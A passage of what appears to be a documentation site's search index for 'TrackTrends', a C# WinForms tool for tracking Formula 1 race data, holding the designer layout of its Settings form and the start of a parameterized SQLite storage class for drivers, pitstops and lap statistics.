25 ); this . label2 . Name = \"label2\" ; this . label2 . Size = new System . Drawing . Size ( 132 , 23 ); this . label2 . TabIndex = 1 ; this . label2 . Text = \"Grand Prix URL\" ; // // gpbxRaceSettings // this . gpbxRaceSettings . Anchor = (( System . Windows . Forms . AnchorStyles )(( System . Windows . Forms . AnchorStyles . Top | System . Windows . Forms . AnchorStyles . Right ))); this . gpbxRaceSettings . BackColor = System . Drawing . Color . FromArgb ((( int )((( byte )( 79 )))), (( int )((( byte )( 79 )))), (( int )((( byte )( 79 ))))); this . gpbxRaceSettings . Controls . Add ( this . tbxGpUrl ); this . gpbxRaceSettings . Controls . Add ( this . label2 ); this . gpbxRaceSettings . Font = new System . Drawing . Font ( \"Microsoft YaHei UI\" , 10.2F , System . Drawing . FontStyle . Regular , System . Drawing . GraphicsUnit . Point , (( byte )( 0 ))); this . gpbxRaceSettings . ForeColor = System . Drawing . Color . White ; this . gpbxRaceSettings . Location = new System . Drawing . Point ( 733 , 9 ); this . gpbxRaceSettings . Name = \"gpbxRaceSettings\" ; this . gpbxRaceSettings . Padding = new System . Windows . Forms . Padding ( 0 ); this . gpbxRaceSettings . Size = new System . Drawing . Size ( 521 , 58 ); this . gpbxRaceSettings . TabIndex = 2 ; this . gpbxRaceSettings . TabStop = false ; this . gpbxRaceSettings . Text = \"RaceSettings\" ; this . gpbxRaceSettings . Paint += new System . Windows . Forms . PaintEventHandler ( this . removeBorders ); // // tbxGpUrl // this . tbxGpUrl . BackColor = System . Drawing . Color . FromArgb ((( int )((( byte )( 51 )))), (( int )((( byte )( 51 )))), (( int )((( byte )( 51 ))))); this . tbxGpUrl . BorderStyle = System . Windows . Forms . BorderStyle . None ; this . tbxGpUrl . Font = new System . Drawing . Font ( \"Microsoft YaHei UI\" , 10.2F , System . Drawing . FontStyle . Regular , System . Drawing . GraphicsUnit . Point , (( byte )( 0 ))); this . tbxGpUrl . ForeColor = System . Drawing . Color . White ; this . tbxGpUrl . Location = new System . Drawing . Point ( 141 , 25 ); this . tbxGpUrl . Name = \"tbxGpUrl\" ; this . tbxGpUrl . Size = new System . Drawing . Size ( 367 , 22 ); this . tbxGpUrl . TabIndex = 4 ; this . tbxGpUrl . TextChanged += new System . EventHandler ( this . tbxGpUrl_TextChanged ); // // gpbxDriverList // this . gpbxDriverList . Anchor = (( System . Windows . Forms . AnchorStyles )(( System . Windows . Forms . AnchorStyles . Top | System . Windows . Forms . AnchorStyles . Right ))); this . gpbxDriverList . BackColor = System . Drawing . Color . FromArgb ((( int )((( byte )( 79 )))), (( int )((( byte )( 79 )))), (( int )((( byte )( 79 ))))); this . gpbxDriverList . Controls . Add ( this . lsbDrivers ); this . gpbxDriverList . Controls . Add ( this . btnRemoveDriver ); this . gpbxDriverList . Controls . Add ( this . btnAddDriver ); this . gpbxDriverList . Controls . Add ( this . tbxDriverName ); this . gpbxDriverList . FlatStyle = System . Windows . Forms . FlatStyle . Popup ; this . gpbxDriverList . Font = new System . Drawing . Font ( \"Microsoft YaHei UI\" , 10F ); this . gpbxDriverList . ForeColor = System . Drawing . Color . White ; this . gpbxDriverList . Location = new System . Drawing . Point ( 995 , 73 ); this . gpbxDriverList . Name = \"gpbxDriverList\" ; this . gpbxDriverList . Padding = new System . Windows . Forms . Padding ( 0 ); this . gpbxDriverList . Size = new System . Drawing . Size ( 259 , 269 ); this . gpbxDriverList . TabIndex = 3 ; this . gpbxDriverList . TabStop = false ; this . gpbxDriverList . Text = \"DriverList\" ; this . gpbxDriverList . Paint += new System . Windows . Forms . PaintEventHandler ( this . removeBorders ); // // lsbDrivers // this . lsbDrivers . BackColor = System . Drawing . Color . FromArgb ((( int )((( byte )( 51 )))), (( int )((( byte )( 51 )))), (( int )((( byte )( 51 ))))); this . lsbDrivers . BorderStyle = System . Windows . Forms . BorderStyle . None ; this . lsbDrivers . Font = new System . Drawing . Font ( \"Microsoft YaHei UI\" , 10F ); this . lsbDrivers . ForeColor = System . Drawing . Color . FromArgb ((( int )((( byte )( 252 )))), (( int )((( byte )( 252 )))), (( int )((( byte )( 252 ))))); this . lsbDrivers . FormattingEnabled = true ; this . lsbDrivers . ItemHeight = 23 ; this . lsbDrivers . Location = new System . Drawing . Point ( 10 , 23 ); this . lsbDrivers . Name = \"lsbDrivers\" ; this . lsbDrivers . Size = new System . Drawing . Size ( 243 , 138 ); this . lsbDrivers . TabIndex = 10 ; // // btnRemoveDriver // this . btnRemoveDriver . BackColor = System . Drawing . Color . FromArgb ((( int )((( byte )( 51 )))), (( int )((( byte )( 51 )))), (( int )((( byte )( 51 ))))); this . btnRemoveDriver . FlatStyle = System . Windows . Forms . FlatStyle . Popup ; this . btnRemoveDriver . Font = new System . Drawing . Font ( \"Microsoft YaHei UI\" , 10.2F , System . Drawing . FontStyle . Regular , System . Drawing . GraphicsUnit . Point , (( byte )( 0 ))); this . btnRemoveDriver . ForeColor = System . Drawing . Color . White ; this . btnRemoveDriver . Location = new System . Drawing . Point ( 132 , 167 ); this . btnRemoveDriver . Name = \"btnRemoveDriver\" ; this . btnRemoveDriver . Size = new System . Drawing . Size ( 121 , 62 ); this . btnRemoveDriver . TabIndex = 9 ; this . btnRemoveDriver . Text = \"Remove\" ; this . btnRemoveDriver . UseVisualStyleBackColor = false ; this . btnRemoveDriver . Click += new System . EventHandler ( this . btnRemoveDriver_Click ); // // btnAddDriver // this . btnAddDriver . BackColor = System . Drawing . Color . FromArgb ((( int )((( byte )( 51 )))), (( int )((( byte )( 51 )))), (( int )((( byte )( 51 ))))); this . btnAddDriver . FlatStyle = System . Windows . Forms . FlatStyle . Popup ; this . btnAddDriver . Font = new System . Drawing . Font ( \"Microsoft YaHei UI\" , 10.2F , System . Drawing . FontStyle . Regular , System . Drawing . GraphicsUnit . Point , (( byte )( 0 ))); this . btnAddDriver . ForeColor = System . Drawing . Color . White ; this . btnAddDriver . Location = new System . Drawing . Point ( 10 , 167 ); this . btnAddDriver . Name = \"btnAddDriver\" ; this . btnAddDriver . Size = new System . Drawing . Size ( 116 , 62 ); this . btnAddDriver . TabIndex = 8 ; this . btnAddDriver . Text = \"Add\" ; this . btnAddDriver . UseVisualStyleBackColor = false ; this . btnAddDriver . Click += new System . EventHandler ( this . btnAddDriver_Click ); // // tbxDriverName // this . tbxDriverName . BackColor = System . Drawing . Color . FromArgb ((( int )((( byte )( 51 )))), (( int )((( byte )( 51 )))), (( int )((( byte )( 51 ))))); this . tbxDriverName . BorderStyle = System . Windows . Forms . BorderStyle . None ; this . tbxDriverName . Font = new System . Drawing . Font ( \"Microsoft YaHei UI\" , 11F ); this . tbxDriverName . ForeColor = System . Drawing . Color . FromArgb ((( int )((( byte )( 252 )))), (( int )((( byte )( 252 )))), (( int )((( byte )( 252 ))))); this . tbxDriverName . Location = new System . Drawing . Point ( 10 , 235 ); this . tbxDriverName . Name = \"tbxDriverName\" ; this . tbxDriverName . Size = new System . Drawing . Size ( 243 , 24 ); this . tbxDriverName . TabIndex = 7 ; // // gpbxPreview // this . gpbxPreview . BackColor = System . Drawing . Color . FromArgb ((( int )((( byte )( 79 )))), (( int )((( byte )( 79 )))), (( int )((( byte )( 79 ))))); this . gpbxPreview . Controls . Add ( this . lblWindowsRemaining ); this . gpbxPreview . Controls . Add ( this . btnResetDriver ); this . gpbxPreview . Controls . Add ( this . btnRefresh ); this . gpbxPreview . Controls . Add ( this . lblWindowPointsRemaining ); this . gpbxPreview . Controls . Add ( this . lblZonePointsRemaning ); this . gpbxPreview . Controls . Add ( this . btnCreateWindow ); this . gpbxPreview . Controls . Add ( this . pbxPreview ); this . gpbxPreview . Controls . Add ( this . btnCreatZone ); this . gpbxPreview . FlatStyle = System . Windows . Forms . FlatStyle . Flat ; this . gpbxPreview . Font = new System . Drawing . Font ( \"Microsoft YaHei UI\" , 10F ); this . gpbxPreview . ForeColor = System . Drawing . Color . White ; this . gpbxPreview . Location = new System . Drawing . Point ( 18 , 73 ); this . gpbxPreview . Name = \"gpbxPreview\" ; this . gpbxPreview . Padding = new System . Windows . Forms . Padding ( 0 ); this . gpbxPreview . Size = new System . Drawing . Size ( 968 , 608 ); this . gpbxPreview . TabIndex = 4 ; this . gpbxPreview . TabStop = false ; this . gpbxPreview . Text = \"Preview\" ; this . gpbxPreview . Paint += new System . Windows . Forms . PaintEventHandler ( this . removeBorders ); // // lblWindowsRemaining // this . lblWindowsRemaining . AutoSize = true ; this . lblWindowsRemaining . BackColor = System . Drawing . Color . Transparent ; this . lblWindowsRemaining . ForeColor = System . Drawing . Color . White ; this . lblWindowsRemaining . Location = new System . Drawing . Point ( 215 , 82 ); this . lblWindowsRemaining . Name = \"lblWindowsRemaining\" ; this . lblWindowsRemaining . Size = new System . Drawing . Size ( 183 , 23 ); this . lblWindowsRemaining . TabIndex = 6 ; this . lblWindowsRemaining . Text = \"7 windows remaining\" ; // // btnResetDriver // this . btnResetDriver . Anchor = (( System . Windows . Forms . AnchorStyles )(( System . Windows . Forms . AnchorStyles . Top | System . Windows . Forms . AnchorStyles . Right ))); this . btnResetDriver . BackColor = System . Drawing . Color . FromArgb ((( int )((( byte )( 51 )))), (( int )((( byte )( 51 )))), (( int )((( byte )( 51 ))))); this . btnResetDriver . Enabled = false ; this . btnResetDriver . FlatStyle = System . Windows . Forms . FlatStyle . Popup ; this . btnResetDriver . ForeColor = System . Drawing . Color . White ; this . btnResetDriver . Location = new System . Drawing . Point ( 748 , 20 ); this . btnResetDriver . Name = \"btnResetDriver\" ; this . btnResetDriver . Size = new System . Drawing . Size ( 211 , 33 ); this . btnResetDriver . TabIndex = 2 ; this . btnResetDriver . Text = \"Reset the emulator\" ; this . btnResetDriver . UseVisualStyleBackColor = false ; this . btnResetDriver . Click += new System . EventHandler ( this . btnResetDriver_Click ); // // btnRefresh // this . btnRefresh . Anchor = (( System . Windows . Forms . AnchorStyles )(( System . Windows . Forms . AnchorStyles . Top | System . Windows . Forms . AnchorStyles . Right ))); this . btnRefresh . BackColor = System . Drawing . Color . FromArgb ((( int )((( byte )( 51 )))), (( int )((( byte )( 51 )))), (( int )((( byte )( 51 ))))); this . btnRefresh . FlatStyle = System . Windows . Forms . FlatStyle . Popup ; this . btnRefresh . ForeColor = System . Drawing . Color . White ; this . btnRefresh . Location = new System . Drawing . Point ( 549 , 20 ); this . btnRefresh . Name = \"btnRefresh\" ; this . btnRefresh . Size = new System . Drawing . Size ( 193 , 33 ); this . btnRefresh . TabIndex = 1 ; this . btnRefresh . Text = \"Start the browser\" ; this . btnRefresh . UseVisualStyleBackColor = false ; this . btnRefresh . Click += new System . EventHandler ( this . btnRefresh_Click ); // // lblWindowPointsRemaining // this . lblWindowPointsRemaining . AutoSize = true ; this . lblWindowPointsRemaining . ForeColor = System . Drawing . Color . White ; this . lblWindowPointsRemaining . Location = new System . Drawing . Point ( 215 , 59 ); this . lblWindowPointsRemaining . Name = \"lblWindowPointsRemaining\" ; this . lblWindowPointsRemaining . Size = new System . Drawing . Size ( 163 , 23 ); this . lblWindowPointsRemaining . TabIndex = 4 ; this . lblWindowPointsRemaining . Text = \"0 points remaining\" ; // // lblZonePointsRemaning // this . lblZonePointsRemaning . AutoSize = true ; this . lblZonePointsRemaning . ForeColor = System . Drawing . Color . White ; this . lblZonePointsRemaning . Location = new System . Drawing . Point ( 19 , 59 ); this . lblZonePointsRemaning . Name = \"lblZonePointsRemaning\" ; this . lblZonePointsRemaning . Size = new System . Drawing . Size ( 163 , 23 ); this . lblZonePointsRemaning . TabIndex = 5 ; this . lblZonePointsRemaning . Text = \"0 points remaining\" ; // // btnCreateWindow // this . btnCreateWindow . BackColor = System . Drawing . Color . FromArgb ((( int )((( byte )( 51 )))), (( int )((( byte )( 51 )))), (( int )((( byte )( 51 ))))); this . btnCreateWindow . Enabled = false ; this . btnCreateWindow . FlatStyle = System . Windows . Forms . FlatStyle . Popup ; this . btnCreateWindow . ForeColor = System . Drawing . Color . White ; this . btnCreateWindow . Location = new System . Drawing . Point ( 213 , 23 ); this . btnCreateWindow . Name = \"btnCreateWindow\" ; this . btnCreateWindow . Size = new System . Drawing . Size ( 201 , 33 ); this . btnCreateWindow . TabIndex = 2 ; this . btnCreateWindow . Text = \"Create the windows\" ; this . btnCreateWindow . UseVisualStyleBackColor = false ; this . btnCreateWindow . Click += new System . EventHandler ( this . btnCreateWindow_Click ); // // pbxPreview // this . pbxPreview . BackColor = System . Drawing . Color . FromArgb ((( int )((( byte )( 51 )))), (( int )((( byte )( 51 )))), (( int )((( byte )( 51 ))))); this . pbxPreview . Location = new System . Drawing . Point ( 10 , 62 ); this . pbxPreview . Name = \"pbxPreview\" ; this . pbxPreview . Size = new System . Drawing . Size ( 950 , 540 ); this . pbxPreview . SizeMode = System . Windows . Forms . PictureBoxSizeMode . StretchImage ; this . pbxPreview . TabIndex = 0 ; this . pbxPreview . TabStop = false ; this . pbxPreview . Click += new System . EventHandler ( this . pbxMain_Click ); this . pbxPreview . MouseClick += new System . Windows . Forms . MouseEventHandler ( this . pbxMain_MouseClick ); // // btnCreatZone // this . btnCreatZone . BackColor = System . Drawing . Color . FromArgb ((( int )((( byte )( 51 )))), (( int )((( byte )( 51 )))), (( int )((( byte )( 51 ))))); this . btnCreatZone . Enabled = false ; this . btnCreatZone . FlatStyle = System . Windows . Forms . FlatStyle . Popup ; this . btnCreatZone . ForeColor = System . Drawing . Color . White ; this . btnCreatZone . Location = new System . Drawing . Point ( 6 , 23 ); this . btnCreatZone . Name = \"btnCreatZone\" ; this . btnCreatZone . Size = new System . Drawing . Size ( 201 , 33 ); this . btnCreatZone . TabIndex = 1 ; this . btnCreatZone . Text = \"Create the main zone\" ; this . btnCreatZone . UseVisualStyleBackColor = false ; this . btnCreatZone . Click += new System . EventHandler ( this . btnCreatZone_Click ); // // gpbxWindowPreview // this . gpbxWindowPreview . Anchor = (( System . Windows . Forms . AnchorStyles )(( System . Windows . Forms . AnchorStyles . Bottom | System . Windows . Forms . AnchorStyles . Left ))); this . gpbxWindowPreview . BackColor = System . Drawing . Color . FromArgb ((( int )((( byte )( 79 )))), (( int )((( byte )( 79 )))), (( int )((( byte )( 79 ))))); this . gpbxWindowPreview . Controls . Add ( this . pbxWindowPreview ); this . gpbxWindowPreview . FlatStyle = System . Windows . Forms . FlatStyle . Popup ; this . gpbxWindowPreview . Font = new System . Drawing . Font ( \"Microsoft YaHei UI\" , 10F ); this . gpbxWindowPreview . ForeColor = System . Drawing . Color . White ; this . gpbxWindowPreview . Location = new System . Drawing . Point ( 18 , 688 ); this . gpbxWindowPreview . Name = \"gpbxWindowPreview\" ; this . gpbxWindowPreview . Padding = new System . Windows . Forms . Padding ( 0 ); this . gpbxWindowPreview . Size = new System . Drawing . Size ( 1237 , 88 ); this . gpbxWindowPreview . TabIndex = 5 ; this . gpbxWindowPreview . TabStop = false ; this . gpbxWindowPreview . Text = \"DriverZonePreview\" ; this . gpbxWindowPreview . Paint += new System . Windows . Forms . PaintEventHandler ( this . removeBorders ); // // pbxWindowPreview // this . pbxWindowPreview . BackColor = System . Drawing . Color . FromArgb ((( int )((( byte )( 51 )))), (( int )((( byte )( 51 )))), (( int )((( byte )( 51 ))))); this . pbxWindowPreview . Location = new System . Drawing . Point ( 6 , 30 ); this . pbxWindowPreview . Name = \"pbxWindowPreview\" ; this . pbxWindowPreview . Size = new System . Drawing . Size ( 1225 , 50 ); this . pbxWindowPreview . SizeMode = System . Windows . Forms . PictureBoxSizeMode . StretchImage ; this . pbxWindowPreview . TabIndex = 0 ; this . pbxWindowPreview . TabStop = false ; this . pbxWindowPreview . Click += new System . EventHandler ( this . pbxDriverZone_Click ); this . pbxWindowPreview . MouseClick += new System . Windows . Forms . MouseEventHandler ( this . pbxDriverZone_MouseClick ); // // btnLoadPreset // this . btnLoadPreset . BackColor = System . Drawing . Color . FromArgb ((( int )((( byte )( 51 )))), (( int )((( byte )( 51 )))), (( int )((( byte )( 51 ))))); this . btnLoadPreset . FlatStyle = System . Windows . Forms . FlatStyle . Popup ; this . btnLoadPreset . ForeColor = System . Drawing . Color . White ; this . btnLoadPreset . Location = new System . Drawing . Point ( 10 , 213 ); this . btnLoadPreset . Name = \"btnLoadPreset\" ; this . btnLoadPreset . Size = new System . Drawing . Size ( 243 , 40 ); this . btnLoadPreset . TabIndex = 10 ; this . btnLoadPreset . Text = \"Load the preset\" ; this . btnLoadPreset . UseVisualStyleBackColor = false ; this . btnLoadPreset . Click += new System . EventHandler ( this . btnLoadPreset_Click ); // // lsbPresets // this . lsbPresets . BackColor = System . Drawing . Color . FromArgb ((( int )((( byte )( 51 )))), (( int )((( byte )( 51 )))), (( int )((( byte )( 51 ))))); this . lsbPresets . BorderStyle = System . Windows . Forms . BorderStyle . None ; this . lsbPresets . Font = new System . Drawing . Font ( \"Microsoft YaHei UI\" , 10F ); this . lsbPresets . ForeColor = System . Drawing . Color . FromArgb ((( int )((( byte )( 252 )))), (( int )((( byte )( 252 )))), (( int )((( byte )( 252 ))))); this . lsbPresets . FormattingEnabled = true ; this . lsbPresets . ItemHeight = 23 ; this . lsbPresets . Location = new System . Drawing . Point ( 10 , 23 ); this . lsbPresets . Name = \"lsbPresets\" ; this . lsbPresets . Size = new System . Drawing . Size ( 243 , 138 ); this . lsbPresets . TabIndex = 8 ; this . lsbPresets . SelectedIndexChanged += new System . EventHandler ( this . lsbPresets_SelectedIndexChanged ); // // tbxPresetName // this . tbxPresetName . BackColor = System . Drawing . Color . FromArgb ((( int )((( byte )( 51 )))), (( int )((( byte )( 51 )))), (( int )((( byte )( 51 ))))); this . tbxPresetName . BorderStyle = System . Windows . Forms . BorderStyle . None ; this . tbxPresetName . Font = new System . Drawing . Font ( \"Microsoft YaHei UI\" , 11F ); this . tbxPresetName . ForeColor = System . Drawing . Color . White ; this . tbxPresetName . Location = new System . Drawing . Point ( 10 , 303 ); this . tbxPresetName . Name = \"tbxPresetName\" ; this . tbxPresetName . Size = new System . Drawing . Size ( 243 , 24 ); this . tbxPresetName . TabIndex = 7 ; // // btnSavePreset // this . btnSavePreset . BackColor = System . Drawing . Color . FromArgb ((( int )((( byte )( 51 )))), (( int )((( byte )( 51 )))), (( int )((( byte )( 51 ))))); this . btnSavePreset . FlatStyle = System . Windows . Forms . FlatStyle . Popup ; this . btnSavePreset . ForeColor = System . Drawing . Color . White ; this . btnSavePreset . Location = new System . Drawing . Point ( 10 , 259 ); this . btnSavePreset . Name = \"btnSavePreset\" ; this . btnSavePreset . Size = new System . Drawing . Size ( 243 , 40 ); this . btnSavePreset . TabIndex = 7 ; this . btnSavePreset . Text = \"Save current preset\" ; this . btnSavePreset . UseVisualStyleBackColor = false ; this . btnSavePreset . Click += new System . EventHandler ( this . btnSavePreset_Click ); // // gpbxPresets // this . gpbxPresets . Anchor = (( System . Windows . Forms . AnchorStyles )(( System . Windows . Forms . AnchorStyles . Top | System . Windows . Forms . AnchorStyles . Right ))); this . gpbxPresets . BackColor = System . Drawing . Color . FromArgb ((( int )((( byte )( 79 )))), (( int )((( byte )( 79 )))), (( int )((( byte )( 79 ))))); this . gpbxPresets . Controls . Add ( this . btnSavePreset ); this . gpbxPresets . Controls . Add ( this . btnDeletePreset ); this . gpbxPresets . Controls . Add ( this . tbxPresetName ); this . gpbxPresets . Controls . Add ( this . btnLoadPreset ); this . gpbxPresets . Controls . Add ( this . lsbPresets ); this . gpbxPresets . FlatStyle = System . Windows . Forms . FlatStyle . Popup ; this . gpbxPresets . Font = new System . Drawing . Font ( \"Microsoft YaHei UI\" , 10F ); this . gpbxPresets . ForeColor = System . Drawing . Color . White ; this . gpbxPresets . Location = new System . Drawing . Point ( 995 , 348 ); this . gpbxPresets . Name = \"gpbxPresets\" ; this . gpbxPresets . Padding = new System . Windows . Forms . Padding ( 0 ); this . gpbxPresets . Size = new System . Drawing . Size ( 259 , 333 ); this . gpbxPresets . TabIndex = 6 ; this . gpbxPresets . TabStop = false ; this . gpbxPresets . Text = \"Presets\" ; this . gpbxPresets . Paint += new System . Windows . Forms . PaintEventHandler ( this . removeBorders ); // // btnDeletePreset // this . btnDeletePreset . BackColor = System . Drawing . Color . FromArgb ((( int )((( byte )( 51 )))), (( int )((( byte )( 51 )))), (( int )((( byte )( 51 ))))); this . btnDeletePreset . FlatStyle = System . Windows . Forms . FlatStyle . Popup ; this . btnDeletePreset . ForeColor = System . Drawing . Color . White ; this . btnDeletePreset . Location = new System . Drawing . Point ( 10 , 167 ); this . btnDeletePreset . Name = \"btnDeletePreset\" ; this . btnDeletePreset . Size = new System . Drawing . Size ( 243 , 40 ); this . btnDeletePreset . TabIndex = 11 ; this . btnDeletePreset . Text = \"Delete the preset\" ; this . btnDeletePreset . UseVisualStyleBackColor = false ; this . btnDeletePreset . Click += new System . EventHandler ( this . btnDeletePreset_Click ); // // Settings // this . AutoScaleDimensions = new System . Drawing . SizeF ( 8F , 19F ); this . AutoScaleMode = System . Windows . Forms . AutoScaleMode . Font ; this . BackColor = System . Drawing . Color . FromArgb ((( int )((( byte )( 51 )))), (( int )((( byte )( 51 )))), (( int )((( byte )( 51 ))))); this . ClientSize = new System . Drawing . Size ( 1266 , 788 ); this . Controls . Add ( this . gpbxPresets ); this . Controls . Add ( this . gpbxWindowPreview ); this . Controls . Add ( this . gpbxPreview ); this . Controls . Add ( this . gpbxDriverList ); this . Controls . Add ( this . label1 ); this . Controls . Add ( this . gpbxRaceSettings ); this . Font = new System . Drawing . Font ( \"Microsoft YaHei UI\" , 7.8F , System . Drawing . FontStyle . Regular , System . Drawing . GraphicsUnit . Point , (( byte )( 0 ))); this . Margin = new System . Windows . Forms . Padding ( 3 , 4 , 3 , 4 ); this . MinimumSize = new System . Drawing . Size ( 1284 , 835 ); this . Name = \"Settings\" ; this . StartPosition = System . Windows . Forms . FormStartPosition . CenterScreen ; this . Text = \"Settings\" ; this . FormClosing += new System . Windows . Forms . FormClosingEventHandler ( this . Settings_FormClosing ); this . Resize += new System . EventHandler ( this . Settings_Resize ); this . gpbxRaceSettings . ResumeLayout ( false ); this . gpbxRaceSettings . PerformLayout (); this . gpbxDriverList . ResumeLayout ( false ); this . gpbxDriverList . PerformLayout (); this . gpbxPreview . ResumeLayout ( false ); this . gpbxPreview . PerformLayout (); (( System . ComponentModel . ISupportInitialize )( this . pbxPreview )). EndInit (); this . gpbxWindowPreview . ResumeLayout ( false ); (( System . ComponentModel . ISupportInitialize )( this . pbxWindowPreview )). EndInit (); this . gpbxPresets . ResumeLayout ( false ); this . gpbxPresets . PerformLayout (); this . ResumeLayout ( false ); this . PerformLayout (); } #endregion private System . Windows . Forms . Label label1 ; private System . Windows . Forms . Label label2 ; private System . Windows . Forms . GroupBox gpbxRaceSettings ; private System . Windows . Forms . TextBox tbxGpUrl ; private System . Windows . Forms . GroupBox gpbxDriverList ; private System . Windows . Forms . ListBox lsbDrivers ; private System . Windows . Forms . Button btnRemoveDriver ; private System . Windows . Forms . Button btnAddDriver ; private System . Windows . Forms . TextBox tbxDriverName ; private System . Windows . Forms . GroupBox gpbxPreview ; private System . Windows . Forms . PictureBox pbxPreview ; private System . Windows . Forms . GroupBox gpbxWindowPreview ; private System . Windows . Forms . PictureBox pbxWindowPreview ; private System . Windows . Forms . Button btnCreateWindow ; private System . Windows . Forms . Button btnCreatZone ; private System . Windows . Forms . ListBox lsbPresets ; private System . Windows . Forms . TextBox tbxPresetName ; private System . Windows . Forms . Button btnSavePreset ; private System . Windows . Forms . Label lblWindowsRemaining ; private System . Windows . Forms . Label lblZonePointsRemaning ; private System . Windows . Forms . Label lblWindowPointsRemaining ; private System . Windows . Forms . Button btnRefresh ; private System . Windows . Forms . Button btnResetDriver ; private System . Windows . Forms . Button btnLoadPreset ; private System . Windows . Forms . GroupBox gpbxPresets ; private System . Windows . Forms . Button btnDeletePreset ; private System . Windows . Forms . ToolTip tip1 ; } }","title":"Settings.Designer.cs"},{"location":"Code/SqliteStorage.html","text":"SqliteStorage.cs /// Author : Maxime Rohmer /// Date : 30/05/2023 /// File : SqliteStorage.cs /// Brief : Class that controls the sqlite database /// Version : Alpha 1.0 using System ; using System.Collections.Generic ; using System.Linq ; using System.Text ; using System.Threading.Tasks ; using System.Data.SQLite ; using System.IO ; using System.Windows.Forms ; namespace TrackTrends { public class SqliteStorage { private const string DATABASE_FOLDER = \"./Data\" ; private const string DATABASE_FILE = \"/database.sqlite\" ; private const string CONNECTION_STRING = \"Data Source=\" + DATABASE_FOLDER + DATABASE_FILE + \";Version=3;\" ; private SQLiteConnection Connection ; /// /// Creates a new Sqlite Storage and initialize the database /// public SqliteStorage () { Load (); } /// /// Loads a fresh new Database or create a new one if it does not exist. /// private void Load () { if (! Directory . Exists ( DATABASE_FOLDER )) Directory . CreateDirectory ( DATABASE_FOLDER ); if (! File . Exists ( DATABASE_FOLDER + DATABASE_FILE )) { SQLiteConnection . CreateFile ( DATABASE_FOLDER + DATABASE_FILE ); } else { //We are not using the existing DataBase File . Delete ( DATABASE_FOLDER + DATABASE_FILE ); } Connection = new SQLiteConnection ( CONNECTION_STRING ); Connection . Open (); //Create the drivers table string createDriversTableQuery = @\"CREATE TABLE IF NOT EXISTS Drivers (ID INTEGER PRIMARY KEY AUTOINCREMENT, Name VARCHAR NOT NULL);\" ; using ( var command = new SQLiteCommand ( createDriversTableQuery , Connection )) { command . ExecuteNonQuery (); } //Create the drivers table string createPitstopTableQuery = @\"CREATE TABLE Pitstops (Lap INTEGER NOT NULL, DriverID INTEGER NOT NULL, Tyre VARCHAR, PRIMARY KEY (Lap,DriverID));\" ; using ( var command = new SQLiteCommand ( createPitstopTableQuery , Connection )) { command . ExecuteNonQuery (); } //Create the stats string createStatsTableQuery = @\"CREATE TABLE IF NOT EXISTS Stats (Lap INTEGER NOT NULL, DriverID INTEGER NOT NULL, Tyre VARCHAR NOT NULL, LapTime INTEGER NOT NULL, Sector1 INTEGER NOT NULL, Sector2 INTEGER NOT NULL, Sector3 INTEGER NOT NULL, GapToLeader INTEGER NOT NULL, Position INTEGER NOT NULL, PRIMARY KEY (Lap, DriverID));\" ; using ( var command = new SQLiteCommand ( createStatsTableQuery , Connection )) { command . ExecuteNonQuery (); } } /// /// Adds a driver into the drivers table. Meant to be used at the start of the programm /// /// The name of the driver. (non case sensitive) public void AddDriver ( string name ) { string insertQuery = \"INSERT INTO Drivers (Name) VALUES (@name);\" ; using ( var command = new SQLiteCommand ( insertQuery , Connection )) { command . Parameters . AddWithValue ( \"@Name\" , name ); try { command . ExecuteNonQuery (); } catch { //MessageBox.Show(\"An error has occured while trying to insert a new driver into de Database\"); } } } /// /// Searches for a driver and returns its id if it has been found /// /// Name of the driver (non case sensitive) /// private int GetDriverID ( string name ) { string selectQuery = \"SELECT ID FROM Drivers where Name LIKE @driverName\" ; int result = 0 ; using ( var command = new SQLiteCommand ( selectQuery , Connection )) { command . Parameters . AddWithValue ( \"@driverName\" , name ); try { using ( var reader = command . ExecuteReader ()) { while ( reader . Read ()) { result = reader . GetInt32 ( 0 ); } } } catch { //MessageBox.Show(\"There has been an error while trying to retrieve the ID of a Driver from the database\"); } } return result ; } /// /// Gets the sectors from a lapTime. Sectors are subdivisions of a laptime (could be usefull to validate one or the other) /// /// The name of the driver who has done the lap /// The lap at wich the driver has done the time /// A list of the different sectors time in int (ms) public List < int > GetSectorsFromLapTime ( string driverName , int lap ) { int driverId = GetDriverID ( driverName ); string selectQuery = \"SELECT Sector1,Sector2,Sector3 FROM Stats WHERE DriverID = @driverID AND Lap = @lap\" ; List < int > result = new List < int >(); using ( var command = new SQLiteCommand ( selectQuery , Connection )) { command . Parameters . AddWithValue ( \"@driverID\" , driverId ); command . Parameters . AddWithValue ( \"@lap\" , lap ); try { SQLiteDataReader reader = command . ExecuteReader (); while ( reader . Read ()) { result . Add ( reader . GetInt32 ( 0 )); result . Add ( reader . GetInt32 ( 1 )); result . Add ( reader . GetInt32 ( 2 )); } } catch { //MessageBox.Show(\"There has been an error while trying to retrieve the ID of a Driver from the database\"); } } return result ; } /// /// Get the laptime history of a driver /// /// The name of the driver /// The number of lapTimes you want /// A list of tuples with the lap and the laptime. It will only return the amount it found so even if you ask 5 expect getting less or even 0 public List <( int LapTime , int Lap )> GetDriverLaptimes ( string driverName , int numberOfLaptimes ) { int driverId = GetDriverID ( driverName ); List <( int LapTime , int Lap )> lapData = new List <( int LapTime , int Lap )>(); string selectQuery = \"Select LapTime,Lap from Stats WHERE DriverID = @driverID ORDER BY Lap DESC LIMIT @limit\" ; using ( var command = new SQLiteCommand ( selectQuery , Connection )) { command . Parameters . AddWithValue ( \"@driverID\" , driverId ); command . Parameters . AddWithValue ( \"@limit\" , numberOfLaptimes ); try { SQLiteDataReader reader = command . ExecuteReader (); while ( reader . Read ()) { int lapTime = reader . GetInt32 ( 0 ); int lap = reader . GetInt32 ( 1 ); lapData . Add (( lapTime , lap )); } } catch { //MessageBox.Show(\"There has been an error while trying to retrieve the ID of a Driver from the database\"); } } return lapData ; } /// /// Add a pitstop into the db /// /// The name of the driver who made his pitstop /// The lap where he stopped /// The tyre he took out public void AddPitstop ( string driverName , int lap , string tyre ) { string insertQuery = \"INSERT INTO Pitstops (Lap,DriverID,Tyre) VALUES (@Lap,@DriverID,@Tyre)\" ; using ( var command = new SQLiteCommand ( insertQuery , Connection )) { command . Parameters . AddWithValue ( \"@Lap\" , lap ); command . Parameters . AddWithValue ( \"@DriverID\" , GetDriverID ( driverName )); command . Parameters . AddWithValue ( \"@Tyre\" , tyre ); try { command . ExecuteNonQuery (); } catch { //MessageBox.Show(\"An error has occured while trying to insert a new pitstop into the DB\" + Environment.NewLine + \"Request :\"+ command.ToString()); } } } /// /// Adds drivers info into the DB (it should only be once per lap) /// /// The Driver data /// The lap from wich the datas are from public void AddDriverStat ( DriverData data , int 